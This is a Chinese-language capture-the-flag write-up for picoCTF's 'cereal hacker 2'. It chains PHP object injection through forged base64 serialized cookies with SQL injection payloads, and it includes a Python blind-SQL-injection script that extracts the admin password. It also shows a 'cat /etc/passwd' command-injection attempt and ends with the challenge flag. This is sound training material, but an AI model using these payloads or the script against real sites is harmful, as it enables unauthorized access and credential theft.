應該是延續 php 的漏洞問題...
Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
連線進入 https://2019shell1.picoctf.com/problem/62195/ 或 http://2019shell1.picoctf.com:62195,並試著取得 admin 使用者的密碼。
無...
與 cereal hacker 1 稍有不同的是,題目只要求取得 addmin 的密碼?
不確定是不是還屬於 php objection injection 的範疇...輸入上一題嘗試失敗的login; cat /etc/passwd 的話,結果略有不同
會是可以用利的點嗎? 待解上一題,努力中...
先來試看看能不能讀取使用者的密碼檔案。
參考 Local File Inclusion 的幾個常用的檔案名稱,其中幾個感覺上中了,但輸出結果都是空白一片
接著再試 Remote File Inclusion ,結果一樣失敗。
改個方向,依照 Empire3 的模式,看是否能夠注入 PHP 特有的標籤語法 。
先找到線上 PHP 語法練習 ,模擬一下網址的輸出.。
p.s. 之後的語法也都會在此網站中模擬結果是否正確.
<?php
$_GET= 'abc' ?> <?php echo '...';
echo ("Unable to locate ".$_GET.".php\n");
$target = "content";
$_GET= 'abc' ?> <?php echo $target.'...';
echo ("Unable to locate ".$_GET.".php");
?>
回到題目,將字串加在網址的最後面
file=index <?php echo "abc" ;>
失敗,多試幾次組合後,發現會省略掉 <> 裡面所有的值,那只有單一個呢 <
file=index <?php echo "abc" ;
後面的變數都不見了!! 所以不是濾掉,試者其他 tag
file=index abc
居然可以在結果網頁嵌入 HTML 的 tag 啊!玩的很開心,但還是跟解答沾不到邊......
再轉換另一個方向,看看 cookie 方面能不能得到其他提示。
使用上題的 guest 登入,結果會顯示錯誤。因此使用上一題相同的注入手法,直接注入 以下user_info 到 cookie 中:
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
COOKIE: user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTI6IjEnIE9SICcxJz0nMSI7fQ
則會跳出 regular_user 頁面
看起來 cookie 的 user_info 仍是可以使用,但是試了注入不同的 payload 都失敗...
決定放棄,點出上一題沒點到的 walkthough 來看看
Abuse the legacy object to bypass the prepared statement. Use a script to perform a blind SQL injection.
以字面上來看,需要使用相同的 object injection 手法來繞過 SQL 語法,另一個重點則是 Blind SQL Injection 。好吧,再從注入 cookie 中繼續努力...
Blind SQL Injection 在 Empire 1 的題目已經用來猜過資料庫的類別,因此這裡先回到 上一題 Cereal hakcer 1 來測看看是否能成功(成功的話可傳回 FLAG)。
先參考 SQL Injection 網站,找出可注入的 payload。
1' OR 'a'='a' --'
再利用 sleep 來判斷是哪個資料庫:
1' OR 1=1 | sleep(10) --'
完整注入的 Cookie:
O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:25:"1' OR 1=1 | sleep(10) --'";}
user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MjU6IjEnIE9SIDE9MSB8IHNsZWVwKDEwKSAtLSciO30
以上傳回網頁時會停個 10 秒,表示注入成功且資料庫為 MySQL。
再 doblue check 一次
1' OR connection_id()=connection_id() --'
O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"1' OR connection_id()=connection_id() --'";}
結果能夠成功傳回 FLAG,的確是 MySQL 無誤。
獲得以上的注入樣本,再回到本題中進入測試,結果...居然沒有成功!
這次連看花費的提示仍然失敗,只好直接偷喵一下解答。
原來又是一個特殊語法下的漏洞,可以利用 php:// 協議來偷窺到網址程式碼。
回傳的結果為 base 64 解碼,丟回 base 64 解碼網站 即可得到原始碼。
以下為網頁回傳結果,再經 base64解碼後的程式碼,這裡只列出重點的 cookie.php:
p.s. 從 require_onece 中可以獲得更多存在的檔案如 sql_connect.php, cookie.php
coookie.php
<?php
require_once('../sql_connect.php');
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
public $username;
public $password;
function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
die("SQL error");
}
$prepared->bind_param('ss', $this->username, $this->password);
if (!$prepared->execute()) {
die("SQL error");
}
if (!($result = $prepared->get_result())) {
die("SQL error");
}
$r = $result->fetch_all();
if($result->num_rows !== 1){
$is_admin_val = 0;
}
else{
$is_admin_val = (int)$r[0][0];
}
$sql_conn->close();
return $is_admin_val;
}
}
/* legacy login */
class siteuser
{
public $username;
public $password;
function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}
function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
$result = $sql_conn->query($q);
if($result->num_rows != 1){
$is_user_val = 0;
}
else{
$is_user_val = 1;
}
$sql_conn->close();
return $is_user_val;
}
}
if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}
?>
本次的重點在 cookie .php 這隻程式,試著在 regular_user.php 網頁中注入舊的方法:
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:12:"1' OR '1'='1";}
失敗...
p.s. 這裡犯了一個錯誤,應該要在 admin.php 測,而不是 regular_user
再仔細研究 cookie.php 可以看到此 PHP 再SQL 查詢時的語法特徵,
$sql_conn->prepare
於是 google “php prepare bypass “ 找到可能的statement 繞過手法 ,結果失敗。這裡的寫法很標準,看起來並沒有誤用的寫法。
再研究一下 regulaer_user.php ,
<?php
require_once('cookie.php');
if(isset($perm)){
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Welcome to the regular user page!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
else{
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">You are not logged in!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
?>
才發現想利用regular 這個網頁注入 SQL 是徒勞無功的,因為這隻程式根本不會執行 SQL,因為與 admin.php 相比,少執行了 $perm->is_admin() 這個語法,因此只要 cookie 存在,就會跳出頁面,營造出有登入的假相!
admin.php
<?php
require_once('cookie.php');
if(isset($perm) && $perm->is_admin()){
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Welcome to the admin page!</h5>
<h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
else{
?>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">You are not admin!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
<?php
}
?>
因此必須回到 admin.php 試密碼。
admin.php 重點仍然放在 cookie.php,仔細研究整個 code ,發現後半段還留有舊的登入功能,名稱改名為 siteuser 。
註: 細看 siteuser 這裡的語法後,可以更了解為何 Cereal hacker1 的注入語法可以利用。自作聰明補上 ) 後反而不行的理由,請參考以下說明。
# wrong payload: pass') OR ('1'='1
$payload_1 = 'pass\') OR (\'1\'=\'1';
$password = $payload_1;
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$username.'\' AND (password = \''.$password.'\');';
echo ($q."\n");
# correct payload
$payload_2 = "pass' OR '1'='1" ;
$password = $payload_2;
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$username.'\' AND (password = \''.$password.'\');';
echo ($q."\n");
參考:and 和 or 的順序
有了新的方向,接下來使用 objection injection 並以舊 class 的名稱進行注入:
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:17:"pass' OR '1'='1";}
終於成功了! 網頁提示要找出密碼,這個資訊雖然還原後的 admin.php 也有,但說明了兩件事,一是本題不能直接 pass 帳密,二是此方式注入成功,可用來檢驗後續的猜密碼階段。
為了保險起見,先以 blind SQL injection 來確認一下這次使用的資料庫也是 mysql
1' OR 1=1 | sleep(10) --
結果成功讓伺服器停了 10 秒才傳回結果。
終於來到猜密碼的階段,首先找一個能線上測試 SQL 的網址。然後開始參考語法 對 password 欄位進行猜測。
語法測試正確後,將目標轉為本題中的 password:
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:40:"pass' OR SUBSTRING(username, 1, 1) = 'p";}
猜完第一個字母後為 p 後,原本想要手動猜密碼,不過在使用以下 payload 評估密碼長度後,
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:42:"pass' OR LENGTH(password) > 40 AND '1'='1";}
居然大於 40個字....只好認命寫程式了...
以下的程式碼看起來雖長,但皆從網路上參考範例撰寫而成。先將每個功能寫成函式後再進行猜測,應該很容易理解才是。
python 簡單易用,而且可在 google colab 上線上執行,推薦新手使用!
import base64
import http.cookiejar, urllib.request
import requests
# 使用 base64 編碼 cookie
# ref:https://riptutorial.com/zh-TW/python/example/27070/%E7%B7%A8%E7%A2%BC%E5%92%8C%E8%A7%A3%E7%A2%BCbase64
def encode_string(payload):
payload_bytes = payload.encode("UTF-8")
payload_bytes_base64 = base64.b64encode(payload_bytes)
payload_base64_message = payload_bytes_base64.decode('UTF-8')
return payload_base64_message
# 字元如果要判斷大小寫,注意要加上 BINARY
# ref:https://stackoverflow.com/questions/5629111/how-can-i-make-sql-case-sensitive-string-comparison-on-mysql
#payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:40:"pass\' OR SUBSTRING(password, 1, 1) = \'p";}'
payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:47:"pass\' OR BINARY SUBSTRING(password, 1, 1) = \'p";}'
print (payload)
cookie_base64 = encode_string(payload)
print(cookie_base64)
# 送出請求,設定 cookie
# ref:https://blog.m157q.tw/posts/2018/01/06/use-cookie-with-urllib-in-python/
def get_web_response(cookie):
url = 'http://2019shell1.picoctf.com:62195/index.php?file=admin'
cookies = dict(user_info=cookie)
r = requests.get(url, cookies=cookies)
return(r.text)
response = get_web_response(cookie_base64)
print(response)
# 判斷回應是否正確
# ref:https://stackoverflow.com/questions/3437059/does-python-have-a-string-contains-substring-method
def is_flag_match(response):
match = False
if "Flag" not in response:
match = False
else:
match = True
return match
is_match = is_flag_match(response)
print (is_match)
# 先猜密碼長度
# ref: https://snakify.org/en/lessons/for_loop_range/
def guess_password_length(star,end):
for i in range(star, end+1):
payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:42:"pass\' OR LENGTH(password) = '+str(i)+' AND \'1\'=\'1";}'
cookie_base64 = encode_string(payload)
response = get_web_response(cookie_base64)
is_match = is_flag_match(response)
if is_match:
print ("length: "+str(i))
# 呼叫 guess_password_length 後可得知長度為 41
#guess_password_length(20,50)
# >> length: 41
# 再對 password 每一個位置猜字元
# ref:https://realpython.com/python-enumerate/
def guess_password(star,end,guess_dict):
print ('guess password...')
for i in range(star, end+1):
#print ("position ",str(i),":")
for s in guess_dict:
payload='O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:'+str(46+len(str(i)))+':"pass\' OR BINARY SUBSTRING(password, '+str(i)+', 1) = \''+s+'";}'
cookie_base64 = encode_string(payload)
response = get_web_response(cookie_base64)
is_match = is_flag_match(response)
if is_match:
#print (s)
print (s,end='')
break
guess_dict = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMOPQRSTUVWXYZ0123456789-_{}"
guess_password(1,41,guess_dict)
最後得出密碼即為 FLAG
p.s. 這裡要注意一下大小寫判斷的部份,如果沒有在 substring 前加上 BINARY 是會將字母都視為小寫的!!
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}